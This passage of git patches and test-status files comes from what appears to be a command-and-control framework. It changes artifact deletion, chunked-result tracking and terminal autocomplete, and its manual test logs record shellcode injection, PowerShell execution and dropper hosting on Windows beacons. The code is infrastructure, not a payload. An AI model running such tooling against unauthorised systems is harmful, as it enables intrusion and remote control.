| Pass | Fail | Blocked | Partial | Untested | Planned | Total | |---|---:|---:|---:|---:|---:|---:|---:| | Artifacts | 3 | 0 | 0 | 2 | 0 | 0 | 5 | -| Beacon | 3 | 1 | 0 | 1 | 0 | 0 | 5 | -| C2Client | 6 | 3 | 0 | 11 | 0 | 1 | 21 | +| Beacon | 5 | 0 | 0 | 0 | 0 | 0 | 5 | +| C2Client | 9 | 0 | 0 | 11 | 0 | 1 | 21 | | CommonCommands | 3 | 0 | 0 | 4 | 0 | 0 | 7 | | Listeners | 1 | 0 | 0 | 1 | 4 | 0 | 6 | -| Modules | 10 | 0 | 0 | 41 | 0 | 1 | 52 | +| Modules | 12 | 0 | 0 | 39 | 0 | 1 | 52 | | Release | 0 | 0 | 1 | 0 | 1 | 0 | 2 | -| TeamServer | 4 | 1 | 0 | 7 | 0 | 0 | 12 | +| TeamServer | 5 | 0 | 0 | 7 | 0 | 0 | 12 | | Validation | 0 | 0 | 0 | 1 | 2 | 0 | 3 | ## Critical Non-Pass | Final | ID | Area | Feature | Auto | Manual | |---|---|---|---|---|---| -| fail | `BEACON-CORE-CHUNKED-RESULTS-001` | Beacon | Chunked command results | pass | fail | -| fail | `C2CLIENT-CONSOLE-AUTOCOMPLETE-001` | C2Client | Beacon console autocomplete | pass | fail | -| fail | `TEAMSERVER-FILE-TRANSFER-001` | TeamServer | File transfer service | pass | fail | | blocked | `RELEASE-WINDOWS-ARTIFACTS-001` | Release | Windows release artifacts | n/a | blocked | | partial | `ARTIFACT-LAYOUT-001` | Artifacts | Release data layout | pass | untested | | partial | `ARTIFACT-TOOLS-001` | Artifacts | Tools | pass | untested | -| partial | `BEACON-CORE-HEARTBEAT-001` | Beacon | Heartbeat and state | pass | untested | | partial | `C2CLIENT-STARTUP-GUI-001` | C2Client | GUI startup | pass | untested | | partial | `COMMON-HELP-001` | CommonCommands | help | pass | untested | -| partial | `MODULE-INJECT-CONTRACT-001` | Modules | inject | pass | untested | -| partial | `MODULE-PWSH-CONTRACT-001` | Modules | pwSh | pass | untested | | partial | `TEAMSERVER-ARTIFACT-CATALOG-001` | TeamServer | Artifact catalog | pass | untested | | partial | `TEAMSERVER-CONFIG-DIRECTORIES-001` | TeamServer | Runtime directory layout | pass | untested | | partial | `TEAMSERVER-LISTENER-SESSION-SERVICE-001` | TeamServer | Listener/session service | pass | untested | diff --git a/docs/testing/manual-results.yaml b/docs/testing/manual-results.yaml index fce3d2c..2f8e294 100644 --- a/docs/testing/manual-results.yaml +++ b/docs/testing/manual-results.yaml @@ -74,12 +74,12 @@ results: notes: "GeneratedArtifacts/hosted path validated through browser download." - id: C2CLIENT-ARTIFACTS-DELETE-001 - status: fail - date: "2026-05-07" + status: pass + date: "2026-05-08" build: "local-dev" tester: "max" - evidence: "Could not delete the uploaded artifact from the Artifacts tab." - notes: "Uploaded artifact delete is not working or not exposed correctly in the UI/API." + evidence: "After the artifact delete fix, an uploaded artifact could be deleted directly from the Artifacts tab." + notes: "Validated uploaded artifact delete from the client UI. Generated and hosted delete paths were already covered by automated tests." - id: COMMON-LOADMODULE-001 status: pass @@ -194,28 +194,28 @@ results: notes: "GeneratedArtifacts/download/beacon, GeneratedArtifacts/screenshot/beacon, and GeneratedArtifacts shellcode paths validated. The screenshot artifact was around 42 MB, which is functionally OK but should be optimized." - id: TEAMSERVER-FILE-TRANSFER-001 - status: fail - date: "2026-05-07" + status: pass + date: "2026-05-08" build: "local-dev" tester: "max" - evidence: "Large download completed and artifact hash was OK, but intermediate chunks were emitted to the console as done unknown 7572294763565533 with progress values like 84934656/89771848." - notes: "File transfer data is correct, but command context/UI response suppression for intermediate chunks is not correct enough." + evidence: "After tracking chunked results by outputfile when UUID is missing, a big file download completed without intermediate done unknown progress messages." + notes: "Validated live with a large beacon download. File transfer data and user-facing command context are now correct." - id: BEACON-CORE-CHUNKED-RESULTS-001 - status: fail - date: "2026-05-07" + status: pass + date: "2026-05-08" build: "local-dev" tester: "max" - evidence: "Large download chunking completed successfully, but intermediate chunk progress appeared as multiple done unknown messages before the final Downloaded artifact stored line." - notes: "Chunk transport works, but the user-facing result stream should not expose unhelpful intermediate unknown command messages." + evidence: "A big file download no longer emitted intermediate visible progress chunks as separate done unknown responses." + notes: "Validated the chunked command result path after the TeamServer command-context tracking fix." - id: C2CLIENT-CONSOLE-FORMATTING-001 - status: fail - date: "2026-05-07" + status: pass + date: "2026-05-08" build: "local-dev" tester: "max" - evidence: "Large download showed repeated intermediate console lines such as [done] unknown 7572294763565533 84934656/89771848." - notes: "Console should either suppress intermediate generated-artifact chunks or render them as explicit progress tied to the original command." + evidence: "After the server-side chunk context fix, big file download no longer produced intermediate done unknown lines in the console." + notes: "The console no longer has to render malformed chunk progress as command results for this path." - id: MODULE-SCREENSHOT-CONTRACT-001 status: pass @@ -250,12 +250,36 @@ results: notes: "Functional execution, argument preservation, generated shellcode creation, raw generated shellcode reuse, and all three execution modes are validated. Raw by artifact ID is not expected to work yet for this command path." - id: C2CLIENT-CONSOLE-AUTOCOMPLETE-001 - status: fail + status: pass + date: "2026-05-07" + build: "local-dev" + tester: "max" + evidence: "assemblyExec --donut-exe initially proposed x86 tools and .bin generated shellcode artifacts while interacting with an x64 Windows beacon. After adding arch=session.arch and format filters to CommandSpecs/ListArtifacts, autocomplete no longer proposes x86 tools or .bin files for --donut-exe." + notes: "Validated on the live beacon console after rebuilding TeamServer/client proto paths and refreshing CommandSpecs." + + - id: MODULE-INJECT-CONTRACT-001 + status: pass + date: "2026-05-07" + build: "local-dev" + tester: "max" + evidence: "inject passed with --pid -1 and with a real notepad PID. Autocomplete proposed the expected payloads without wrong-arch or .bin entries, and payload execution completed correctly." + notes: "Validated shellcode preparation, inject autocomplete, spawn target mode, existing PID mode, and payload execution on a Windows beacon." + + - id: MODULE-PWSH-CONTRACT-001 + status: pass + date: "2026-05-07" + build: "local-dev" + tester: "max" + evidence: "One beacon completed loadModule pwSh, pwSh init, pwSh run whoami, and pwSh script testScript.ps1 successfully. After adding completion_parents and improving the CLR/AppDomain error text, retest confirmed pwSh script/import autocomplete works and the init failure on the alternate beacon context now returns a verbose actionable error." + notes: "Validated happy path, script artifact autocomplete for import/script, and clear CLR/AppDomain failure reporting." + + - id: BEACON-CORE-HEARTBEAT-001 + status: pass date: "2026-05-07" build: "local-dev" tester: "max" - evidence: "assemblyExec --donut-exe proposed x86 tools while interacting with an x64 Windows beacon." - notes: "The CommandSpec tool filters for assemblyExec and sibling tool-backed modules must bind artifact arch to session.arch so autocomplete does not mix x86/x64 payloads." + evidence: "A beacon left inactive for more than 5 minutes moved to stale state in the client." + notes: "Manual validation confirms the stale transition path. Reconnect transition can be covered separately if needed." - id: RELEASE-WINDOWS-ARTIFACTS-001 status: blocked diff --git a/protocol/TeamServerApi.proto b/protocol/TeamServerApi.proto index 5e6a39f..e0a5e0f 100644 --- a/protocol/TeamServerApi.proto +++ b/protocol/TeamServerApi.proto @@ -183,6 +183,7 @@ message CommandArgSpec ArtifactQuery artifact_filter = 6; bool variadic = 7; repeated ArtifactQuery artifact_filters = 8; + repeated string completion_parents = 9; } diff --git a/teamServer/teamServer/TeamServerArtifactCatalog.cpp b/teamServer/teamServer/TeamServerArtifactCatalog.cpp index 60e5f0c..216d2da 100644 --- a/teamServer/teamServer/TeamServerArtifactCatalog.cpp +++ b/teamServer/teamServer/TeamServerArtifactCatalog.cpp @@ -624,8 +624,47 @@ bool TeamServerArtifactCatalog::deleteGeneratedArtifact(const std::string& artif if (hostedIt == hostedArtifacts.end()) { - message = "Artifact not found."; - return false; + TeamServerArtifactQuery uploadQuery; + uploadQuery.category = "upload"; + uploadQuery.scope = "operator"; + const std::vector uploadedArtifacts = listArtifacts(uploadQuery); + const auto uploadIt = std::find_if( + uploadedArtifacts.begin(), + uploadedArtifacts.end(), + [&](const TeamServerArtifactRecord& artifact) + { + return artifact.artifactId == artifactId; + }); + + if (uploadIt == uploadedArtifacts.end()) + { + message = "Artifact not found."; + return false; + } + + const fs::path uploadedRoot = m_runtimeConfig.uploadedArtifactsDirectoryPath; + const fs::path payloadPath = uploadIt->internalPath; + if (!isPathWithinRoot(payloadPath, uploadedRoot)) + { + message = "Uploaded artifact path is outside the uploaded artifact root."; + return false; + } + + std::error_code uploadEc; + const bool removedUploadedPayload = fs::remove(payloadPath, uploadEc); + if (uploadEc) + { + message = "Uploaded artifact could not be deleted: " + uploadEc.message(); + return false; + } + if (!removedUploadedPayload) + { + message = "Uploaded artifact file was already missing."; + return false; + } + + message = "Uploaded artifact deleted."; + return true; } const fs::path hostedRoot = m_runtimeConfig.hostedArtifactsDirectoryPath; diff --git a/teamServer/teamServer/TeamServerCommandCatalog.cpp b/teamServer/teamServer/TeamServerCommandCatalog.cpp index 341fc83..1190e15 100644 --- a/teamServer/teamServer/TeamServerCommandCatalog.cpp +++ b/teamServer/teamServer/TeamServerCommandCatalog.cpp @@ -119,6 +119,7 @@ TeamServerCommandArgSpec parseArgSpec(const json& input) arg.description = jsonString(input, "description"); arg.values = jsonStringList(input, "values"); arg.variadic = jsonBool(input, "variadic", false); + arg.completionParents = jsonStringList(input, "completion_parents"); auto artifactFilterIt = input.find("artifact_filter"); if (artifactFilterIt != input.end() && artifactFilterIt->is_object()) diff --git a/teamServer/teamServer/TeamServerCommandCatalog.hpp b/teamServer/teamServer/TeamServerCommandCatalog.hpp index 7fb7c65..426a960 100644 --- a/teamServer/teamServer/TeamServerCommandCatalog.hpp +++ b/teamServer/teamServer/TeamServerCommandCatalog.hpp @@ -28,6 +28,7 @@ struct TeamServerCommandArgSpec std::vector artifactFilters; bool hasArtifactFilter = false; bool variadic = false; + std::vector completionParents; }; struct TeamServerCommandSpecRecord diff --git a/teamServer/teamServer/TeamServerCommandCatalogService.cpp b/teamServer/teamServer/TeamServerCommandCatalogService.cpp index 5fcc58c..b2166b0 100644 --- a/teamServer/teamServer/TeamServerCommandCatalogService.cpp +++ b/teamServer/teamServer/TeamServerCommandCatalogService.cpp @@ -61,6 +61,8 @@ teamserverapi::CommandSpec TeamServerCommandCatalogService::toProto(const TeamSe argSpec->set_variadic(arg.variadic); for (const std::string& value : arg.values) argSpec->add_values(value); + for (const std::string& parent : arg.completionParents) + argSpec->add_completion_parents(parent); if (arg.hasArtifactFilter) { diff --git a/teamServer/teamServer/TeamServerCommandTracking.hpp b/teamServer/teamServer/TeamServerCommandTracking.hpp index dd8c689..2c316cf 100644 --- a/teamServer/teamServer/TeamServerCommandTracking.hpp +++ b/teamServer/teamServer/TeamServerCommandTracking.hpp @@ -9,4 +9,5 @@ struct BeaconCommandContext std::string listenerHash; std::string commandLine; std::string instruction; + std::string outputFile; }; diff --git a/teamServer/teamServer/TeamServerListenerSessionService.cpp b/teamServer/teamServer/TeamServerListenerSessionService.cpp index 02332c2..5fb1b5a 100644 --- a/teamServer/teamServer/TeamServerListenerSessionService.cpp +++ b/teamServer/teamServer/TeamServerListenerSessionService.cpp @@ -436,6 +436,7 @@ grpc::Status TeamServerListenerSessionService::stopListener(const teamserverapi: session->getListenerHash(), input, c2Message.instruction(), + c2Message.outputfile(), }); stopCommandSent = true; } @@ -879,6 +880,7 @@ grpc::Status TeamServerListenerSessionService::sendSessionCommand(const teamserv listenerHash, input, instruction, + c2Message.outputfile(), }); response->set_status(teamserverapi::OK); @@ -951,15 +953,20 @@ int TeamServerListenerSessionService::handleCmdResponse() auto sentCommand = std::find_if( m_sentCommands.begin(), m_sentCommands.end(), - [&commandId](const BeaconCommandContext& context) + [&commandId, &c2Message](const BeaconCommandContext& context) { - return context.commandId == commandId; + if (!commandId.empty() && context.commandId == commandId) + return true; + return !c2Message.outputfile().empty() + && !context.outputFile.empty() + && context.outputFile == c2Message.outputfile(); }); bool trackedCommand = false; bool keepCommandContext = false; if (sentCommand != m_sentCommands.end()) { trackedCommand = true; + commandId = sentCommand->commandId; listenerHash = sentCommand->listenerHash; commandLine = sentCommand->commandLine; if (!sentCommand->instruction.empty()) diff --git a/teamServer/tests/TeamServerArtifactCatalogTests.cpp b/teamServer/tests/TeamServerArtifactCatalogTests.cpp index 0d82d11..500ca2a 100644 --- a/teamServer/tests/TeamServerArtifactCatalogTests.cpp +++ b/teamServer/tests/TeamServerArtifactCatalogTests.cpp @@ -318,6 +318,29 @@ void testCatalogDeletesHostedArtifacts() assert(artifacts.empty()); } +void testCatalogDeletesUploadedArtifacts() +{ + ScopedPath tempRoot(makeTempDirectory("upload-delete")); + TeamServerRuntimeConfig runtimeConfig = makeRuntimeConfig(tempRoot.path()); + seedArtifacts(runtimeConfig); + + TeamServerArtifactCatalog catalog(runtimeConfig); + TeamServerArtifactQuery query; + query.category = "upload"; + query.scope = "operator"; + query.nameContains = "operator-note"; + const std::vector artifacts = catalog.listArtifacts(query); + assert(artifacts.size() == 1); + + const std::string artifactId = artifacts[0].artifactId; + std::string message; + assert(catalog.deleteGeneratedArtifact(artifactId, message)); + assert(message == "Uploaded artifact deleted."); + assert(!fs::exists(fs::path(runtimeConfig.uploadedArtifactsDirectoryPath) / "Any" / "any" / "operator-note.txt")); + + assert(catalog.listArtifacts(query).empty()); +} + void testArtifactServiceStreamsPublicMetadataOnly() { ScopedPath tempRoot(makeTempDirectory("service")); @@ -444,6 +467,7 @@ int main() testCatalogFiltersArtifacts(); testCatalogIndexesAndDeletesGeneratedArtifacts(); testCatalogDeletesHostedArtifacts(); + testCatalogDeletesUploadedArtifacts(); testArtifactServiceStreamsPublicMetadataOnly(); testArtifactServiceDownloadsArtifactPayload(); testArtifactServiceUploadsOperatorArtifact(); diff --git a/teamServer/tests/TeamServerCommandCatalogTests.cpp b/teamServer/tests/TeamServerCommandCatalogTests.cpp index ac028f8..1c12641 100644 --- a/teamServer/tests/TeamServerCommandCatalogTests.cpp +++ b/teamServer/tests/TeamServerCommandCatalogTests.cpp @@ -87,6 +87,7 @@ void seedCommandSpecs(const TeamServerRuntimeConfig& runtimeConfig) "type": "number", "required": true, "description": "Sleep interval.", + "completion_parents": ["interval"], "artifact_filter": { "category": "tool", "scope": "server", @@ -202,6 +203,8 @@ void testCommandCatalogLoadsManifestSpecs() assert(sleep->args[0].artifactFilter.runtime == "any"); assert(sleep->args[0].artifactFilter.nameContains == ".exe"); assert(sleep->args[0].artifactFilters.size() == 1); + assert(sleep->args[0].completionParents.size() == 1); + assert(sleep->args[0].completionParents[0] == "interval"); assert(sleep->examples.size() == 1); const TeamServerCommandSpecRecord* end = findCommand(commands, "end"); @@ -273,6 +276,8 @@ void testCommandCatalogServiceStreamsProto() assert(commands[0].args(0).artifact_filter().name_contains() == ".exe"); assert(commands[0].args(0).artifact_filters_size() == 1); assert(commands[0].args(0).artifact_filters(0).category() == "tool"); + assert(commands[0].args(0).completion_parents_size() == 1); + assert(commands[0].args(0).completion_parents(0) == "interval"); assert(commands[0].DebugString().find(tempRoot.path().string()) == std::string::npos); teamserverapi::CommandQuery psExecQuery; diff --git a/teamServer/tests/TeamServerListenerSessionServiceTests.cpp b/teamServer/tests/TeamServerListenerSessionServiceTests.cpp index 45fdd50..05890ed 100644 --- a/teamServer/tests/TeamServerListenerSessionServiceTests.cpp +++ b/teamServer/tests/TeamServerListenerSessionServiceTests.cpp @@ -496,7 +496,6 @@ void testPendingGeneratedArtifactChunksDoNotEmitIntermediateResponses() C2Message firstChunk; firstChunk.set_instruction("screenShot"); - firstChunk.set_uuid("shot-0001"); firstChunk.set_outputfile(preparedOutputFile); firstChunk.set_args("0"); firstChunk.set_data("AA"); @@ -509,7 +508,6 @@ void testPendingGeneratedArtifactChunksDoNotEmitIntermediateResponses() C2Message finalChunk; finalChunk.set_instruction("screenShot"); - finalChunk.set_uuid("shot-0001"); finalChunk.set_outputfile(preparedOutputFile); finalChunk.set_args("1"); finalChunk.set_data("BB"); From e87613126bed3f9e942f2adfb0d3346a92fef1dc Mon Sep 17 00:00:00 2001 From: maxdcb <40819564+maxDcb@users.noreply.github.com> Date: Fri, 8 May 2026 15:14:05 +0200 Subject: [PATCH 54/82] manual test --- C2Client/C2Client/TerminalPanel.py | 108 ++++++++++++++---- .../tests/test_terminal_panel_dropper_arch.py | 47 +++++++- docs/TEST_GAPS.md | 1 - docs/TEST_MATRIX.md | 2 +- docs/TEST_STATE.md | 7 +- docs/testing/manual-results.yaml | 20 +++- 6 files changed, 148 insertions(+), 37 deletions(-) diff --git a/C2Client/C2Client/TerminalPanel.py b/C2Client/C2Client/TerminalPanel.py index d7de423..d0ae8de 100644 --- a/C2Client/C2Client/TerminalPanel.py +++ b/C2Client/C2Client/TerminalPanel.py @@ -435,8 +435,28 @@ def _add_completion_path(entries: list[tuple[str, list]], parts: list[str]) -> N _add_completion_path(children, parts[1:]) -def _merge_completion_entries(destination: list[tuple[str, list]], source: list[tuple[str, list]]) -> None: - for text, children in source: +def _completion_text(entry: tuple) -> str: + return str(entry[0]).strip() if entry else "" + + +def _completion_children(entry: tuple) -> list[tuple]: + if len(entry) < 2 or entry[1] is None: + return [] + return entry[1] + + +def _completion_insert_text(entry: tuple) -> str: + if len(entry) >= 3: + insert_text = str(entry[2]).strip() + if insert_text: + return insert_text + return _completion_text(entry) + + +def _merge_completion_entries(destination: list[tuple[str, list]], source: list[tuple]) -> None: + for entry in source: + text = _completion_text(entry) + children = _completion_children(entry) _add_completion_path(destination, [text]) destination_entry = next(entry for entry in destination if entry[0] == text) if children: @@ -454,18 +474,44 @@ def _safe_completion_token(value: Any) -> str: return text -def _artifact_completion_values(artifact: Any) -> list[str]: - values = [] +def _artifact_short_reference(artifact: Any) -> str: artifact_id = _safe_completion_token(_field(artifact, "artifact_id")) - if artifact_id: - values.append(artifact_id) - if len(artifact_id) > 12: - values.append(artifact_id[:12]) - for field_name in ("name", "display_name"): - token = _safe_completion_token(_field(artifact, field_name)) - if token: - values.append(token) - return list(dict.fromkeys(values)) + if not artifact_id: + return "" + if len(artifact_id) > 12: + return artifact_id[:12] + return artifact_id + + +def _artifact_display_name(artifact: Any) -> str: + display_name = str(_field(artifact, "display_name") or "").strip() + if display_name: + return display_name + name = str(_field(artifact, "name") or "").strip() + if name: + return re.split(r"[\\/]", name)[-1] or name + return _artifact_short_reference(artifact) + + +def _is_hostable_artifact(artifact: Any) -> bool: + category = str(_field(artifact, "category") or "").strip().lower() + return category != "hosted" + + +def _host_artifact_entry(artifact: Any, children: list[tuple]) -> tuple[str, list, str] | None: + short_reference = _artifact_short_reference(artifact) + display_name = _artifact_display_name(artifact) + if not display_name: + return None + if not short_reference: + insert_token = _safe_completion_token(display_name) + if not insert_token: + return None + return (display_name, children.copy(), insert_token) + label = f"{display_name} ({short_reference})" + safe_display_name = _safe_completion_token(display_name) + insert_token = f"{safe_display_name}({short_reference})" if safe_display_name else short_reference + return (label, children.copy(), insert_token) def _listener_completion_values(listener: Any) -> list[str]: @@ -492,18 +538,28 @@ def _module_completion_name(module: Any) -> str: return _safe_completion_token(getattr(module, "__name__", "")) -def _artifact_entries(artifacts: list[Any], children: list[tuple[str, list]]) -> list[tuple[str, list]]: - entries: list[tuple[str, list]] = [] +def _host_artifact_entries(artifacts: list[Any], children: list[tuple[str, list]]) -> list[tuple]: + entries: list[tuple] = [] for artifact in artifacts: - for value in _artifact_completion_values(artifact): - _add_completion_path(entries, [value]) - artifact_entry = next(entry for entry in entries if entry[0] == value) - _merge_completion_entries(artifact_entry[1], children) + if not _is_hostable_artifact(artifact): + continue + entry = _host_artifact_entry(artifact, children) + if entry is None: + continue + entries.append(entry) if not entries: entries.append(("", children.copy())) return entries +def _host_artifact_reference_from_token(token: str) -> str: + text = str(token or "").strip() + match = re.match(r"^.+\(([^()\s]+)\)$", text) + if match: + return match.group(1) + return text + + def _listener_entries(listeners: list[Any], children: list[tuple[str, list]] | None = None) -> list[tuple[str, list]]: entries: list[tuple[str, list]] = [] for listener in listeners: @@ -584,7 +640,7 @@ def build_terminal_completer_data(grpcClient: Any = None) -> list[tuple[str, lis return [ (HelpInstruction, [(command, []) for command in terminal_commands]), - (HostInstruction, _artifact_entries(artifacts, listener_with_optional_filename)), + (HostInstruction, _host_artifact_entries(artifacts, listener_with_optional_filename)), (DropperInstruction, dropper_children), (BatcaveInstruction, [("Install", []), ("BundleInstall", []), ("Search", [])]), (CredentialStoreInstruction, [(GetSubInstruction, []), (SetSubInstruction, []), (SearchSubInstruction, [])]), @@ -1010,7 +1066,7 @@ def runHost(self, commandLine, instructions): self.printInTerminal(commandLine, HostHelp) return; - artifactReference = instructions[1] + artifactReference = _host_artifact_reference_from_token(instructions[1]) hostListenerHash = instructions[2] hostedFilename = instructions[3] if len(instructions) >= 4 else "" @@ -1491,10 +1547,12 @@ def onActivated(self): class CodeCompleter(QCompleter): ConcatenationRole = Qt.ItemDataRole.UserRole + 1 + MatchRole = Qt.ItemDataRole.UserRole + 2 def __init__(self, data, parent=None): super().__init__(parent) self.setCaseSensitivity(Qt.CaseSensitivity.CaseInsensitive) + self.setCompletionRole(CodeCompleter.MatchRole) self.createModel(data) def updateData(self, data): @@ -1508,9 +1566,13 @@ def pathFromIndex(self, ix): def createModel(self, data): def addItems(parent, elements, t=""): - for text, children in elements: + for entry in elements: + text = _completion_text(entry) + children = _completion_children(entry) + insert_text = _completion_insert_text(entry) item = QStandardItem(text) - data = t + " " + text if t else text + item.setData(insert_text, CodeCompleter.MatchRole) + data = t + " " + insert_text if t else insert_text item.setData(data, CodeCompleter.ConcatenationRole) parent.appendRow(item) if children: diff --git a/C2Client/tests/test_terminal_panel_dropper_arch.py b/C2Client/tests/test_terminal_panel_dropper_arch.py index e5ecd62..0553e50 100644 --- a/C2Client/tests/test_terminal_panel_dropper_arch.py +++ b/C2Client/tests/test_terminal_panel_dropper_arch.py @@ -19,6 +19,13 @@ def listArtifacts(self, query=None): artifact_id="artifact-1234567890", name="hosted/dropper.exe", display_name="dropper.exe", + category="upload", + ), + SimpleNamespace( + artifact_id="hosted-1234567890", + name="hosted/dropper.exe", + display_name="dropper.exe", + category="hosted", ), ]) @@ -69,7 +76,7 @@ def generatePayloadsExploration(binary, binaryArgs, rawShellCode, url, aditional def _completion_children(entries, text): - return next(children for entry_text, children in entries if entry_text == text) + return next(entry[1] for entry in entries if entry[0] == text) def test_extract_dropper_target_arch_accepts_aliases_and_removes_flag(): @@ -152,6 +159,20 @@ def test_terminal_host_uses_artifact_reference(qtbot): assert not any(command.startswith(terminal_panel.GrpcPutIntoUploadDirInstruction) for command in grpc.commands) +def test_terminal_host_accepts_selected_artifact_label_token(qtbot): + parent = QWidget() + grpc = FakeGrpc() + terminal = terminal_panel.Terminal(parent, grpc) + qtbot.addWidget(terminal) + + terminal.runHost( + "Host dropper.exe(artifact-123) listener-pri", + ["Host", "dropper.exe(artifact-123)", "listener-pri"], + ) + + assert "hostArtifact listener-pri artifact-123" in grpc.commands + + def test_terminal_shows_welcome_message(qtbot): parent = QWidget() terminal = terminal_panel.Terminal(parent, FakeGrpc()) @@ -221,7 +242,12 @@ def test_terminal_completer_uses_artifacts_listeners_sessions_and_dropper_module assert (terminal_panel.SocksInstruction, []) in help_children host_children = _completion_children(completions, terminal_panel.HostInstruction) - artifact_children = _completion_children(host_children, "dropper.exe") + host_labels = [entry[0] for entry in host_children] + assert host_labels == ["dropper.exe (artifact-123)"] + assert "dropper.exe" not in host_labels + assert "artifact-1234567890" not in host_labels + assert "artifact-123" not in host_labels + artifact_children = _completion_children(host_children, "dropper.exe (artifact-123)") listener_children = _completion_children(artifact_children, "listener-primary") assert ("", []) in listener_children @@ -241,6 +267,23 @@ def test_terminal_completer_uses_artifacts_listeners_sessions_and_dropper_module assert ("beacon-active", []) in socks_bind_children +def test_terminal_host_completer_displays_artifact_label_but_inserts_safe_token(qtbot): + completions = terminal_panel.build_terminal_completer_data(FakeGrpc()) + completer = terminal_panel.CodeCompleter(completions) + qtbot.addWidget(completer.popup()) + + host_item = next( + completer.model().item(row) + for row in range(completer.model().rowCount()) + if completer.model().item(row).text() == terminal_panel.HostInstruction + ) + artifact_item = host_item.child(0) + + assert artifact_item.text() == "dropper.exe (artifact-123)" + assert artifact_item.data(terminal_panel.CodeCompleter.MatchRole) == "dropper.exe(artifact-123)" + assert artifact_item.data(terminal_panel.CodeCompleter.ConcatenationRole) == "Host dropper.exe(artifact-123)" + + def test_terminal_command_editor_tab_cycles_without_static_completer_reset(tmp_path, qtbot, monkeypatch): monkeypatch.chdir(tmp_path) editor = terminal_panel.CommandEditor(grpcClient=FakeGrpc()) diff --git a/docs/TEST_GAPS.md b/docs/TEST_GAPS.md index d3e6903..c90f4e8 100644 --- a/docs/TEST_GAPS.md +++ b/docs/TEST_GAPS.md @@ -9,7 +9,6 @@ _Generated by `scripts/generate-test-state.py`._ | partial | critical | `ARTIFACT-TOOLS-001` | Artifacts | Tools | Resolve Tools// and Tools/Any/any for module preparers and terminal upload. | pass | untested | | partial | critical | `C2CLIENT-STARTUP-GUI-001` | C2Client | GUI startup | Start python3 -m C2Client.GUI without crashing and create non-closable core tabs. | pass | untested | | partial | critical | `COMMON-HELP-001` | CommonCommands | help | List commands and show command-specific help from CommandSpec. | pass | untested | -| partial | critical | `TEAMSERVER-ARTIFACT-CATALOG-001` | TeamServer | Artifact catalog | List, filter, upload, delete, and resolve artifacts by category/platform/arch/runtime/source. | pass | untested | | partial | critical | `TEAMSERVER-CONFIG-DIRECTORIES-001` | TeamServer | Runtime directory layout | Resolve release data layout for Tools, Scripts, UploadedArtifacts, GeneratedArtifacts, hosted, Beacons, Modules, and CommandSpecs. | pass | untested | | partial | critical | `TEAMSERVER-LISTENER-SESSION-SERVICE-001` | TeamServer | Listener/session service | Stream sessions/listeners, queue commands, deduplicate responses, track modules, and route command results. | pass | untested | | partial | critical | `TEAMSERVER-STARTUP-TLS-001` | TeamServer | Startup and TLS | Start TeamServer with generated certificate, client auth, and readable config errors. | pass | untested | diff --git a/docs/TEST_MATRIX.md b/docs/TEST_MATRIX.md index 74438ae..bd1508c 100644 --- a/docs/TEST_MATRIX.md +++ b/docs/TEST_MATRIX.md @@ -102,7 +102,7 @@ _Generated by `scripts/generate-test-state.py`._ | partial | auto+manual | medium | `MODULE-WMIEXEC-CONTRACT-001` | Modules | wmiExec | windows | x64 | https | n/a | pass | untested | | untested | manual | critical | `RELEASE-LINUX-ARTIFACTS-001` | Release | Linux release artifacts | linux | any | n/a | any | n/a | untested | | blocked | manual | critical | `RELEASE-WINDOWS-ARTIFACTS-001` | Release | Windows release artifacts | windows | any | n/a | any | n/a | blocked | -| partial | auto+manual | critical | `TEAMSERVER-ARTIFACT-CATALOG-001` | TeamServer | Artifact catalog | teamserver | any | n/a | any | pass | untested | +| pass | auto+manual | critical | `TEAMSERVER-ARTIFACT-CATALOG-001` | TeamServer | Artifact catalog | teamserver | any | n/a | any | pass | pass | | pass | auto | critical | `TEAMSERVER-COMMAND-CATALOG-001` | TeamServer | Command catalog | teamserver | n/a | n/a | command_specs | pass | n/a | | pass | auto | critical | `TEAMSERVER-COMMAND-PREPARATION-001` | TeamServer | Command preparation | teamserver | any | any | any | pass | n/a | | pass | auto+manual | critical | `TEAMSERVER-FILE-TRANSFER-001` | TeamServer | File transfer service | teamserver | any | any | generated | pass | pass | diff --git a/docs/TEST_STATE.md b/docs/TEST_STATE.md index 3252855..bfc278d 100644 --- a/docs/TEST_STATE.md +++ b/docs/TEST_STATE.md @@ -10,10 +10,10 @@ _Generated by `scripts/generate-test-state.py`._ | Status | Count | |---|---:| -| pass | 38 | +| pass | 39 | | fail | 0 | | blocked | 1 | -| partial | 65 | +| partial | 64 | | untested | 7 | | planned | 2 | @@ -37,7 +37,7 @@ _Generated by `scripts/generate-test-state.py`._ | Listeners | 1 | 0 | 0 | 1 | 4 | 0 | 6 | | Modules | 12 | 0 | 0 | 39 | 0 | 1 | 52 | | Release | 0 | 0 | 1 | 0 | 1 | 0 | 2 | -| TeamServer | 5 | 0 | 0 | 7 | 0 | 0 | 12 | +| TeamServer | 6 | 0 | 0 | 6 | 0 | 0 | 12 | | Validation | 0 | 0 | 0 | 1 | 2 | 0 | 3 | ## Critical Non-Pass @@ -49,7 +49,6 @@ _Generated by `scripts/generate-test-state.py`._ | partial | `ARTIFACT-TOOLS-001` | Artifacts | Tools | pass | untested | | partial | `C2CLIENT-STARTUP-GUI-001` | C2Client | GUI startup | pass | untested | | partial | `COMMON-HELP-001` | CommonCommands | help | pass | untested | -| partial | `TEAMSERVER-ARTIFACT-CATALOG-001` | TeamServer | Artifact catalog | pass | untested | | partial | `TEAMSERVER-CONFIG-DIRECTORIES-001` | TeamServer | Runtime directory layout | pass | untested | | partial | `TEAMSERVER-LISTENER-SESSION-SERVICE-001` | TeamServer | Listener/session service | pass | untested | | partial | `TEAMSERVER-STARTUP-TLS-001` | TeamServer | Startup and TLS | pass | untested | diff --git a/docs/testing/manual-results.yaml b/docs/testing/manual-results.yaml index 2f8e294..010eee9 100644 --- a/docs/testing/manual-results.yaml +++ b/docs/testing/manual-results.yaml @@ -1,5 +1,5 @@ schema_version: 1 -updated_at: "2026-05-07" +updated_at: "2026-05-08" description: > Manual validation results for scenarios defined in test-catalog.yaml. Keep this file result-only: every result id must already exist in the catalog. @@ -35,10 +35,10 @@ results: - id: C2CLIENT-ARTIFACTS-LIST-001 status: pass - date: "2026-05-07" + date: "2026-05-08" build: "local-dev" tester: "max" - evidence: "Uploaded TXT artifact was visible in Artifacts tab and its ID could be copied from the panel." + evidence: "Uploaded TXT artifact was visible in Artifacts tab and its ID could be copied from the panel. Basic filters, Scripts, Generated, Upload, and Hosted views were validated." notes: "Validated through Artifacts panel workflow." - id: C2CLIENT-ARTIFACTS-UPLOAD-001 @@ -59,11 +59,11 @@ results: - id: C2CLIENT-TERMINAL-HOST-001 status: pass - date: 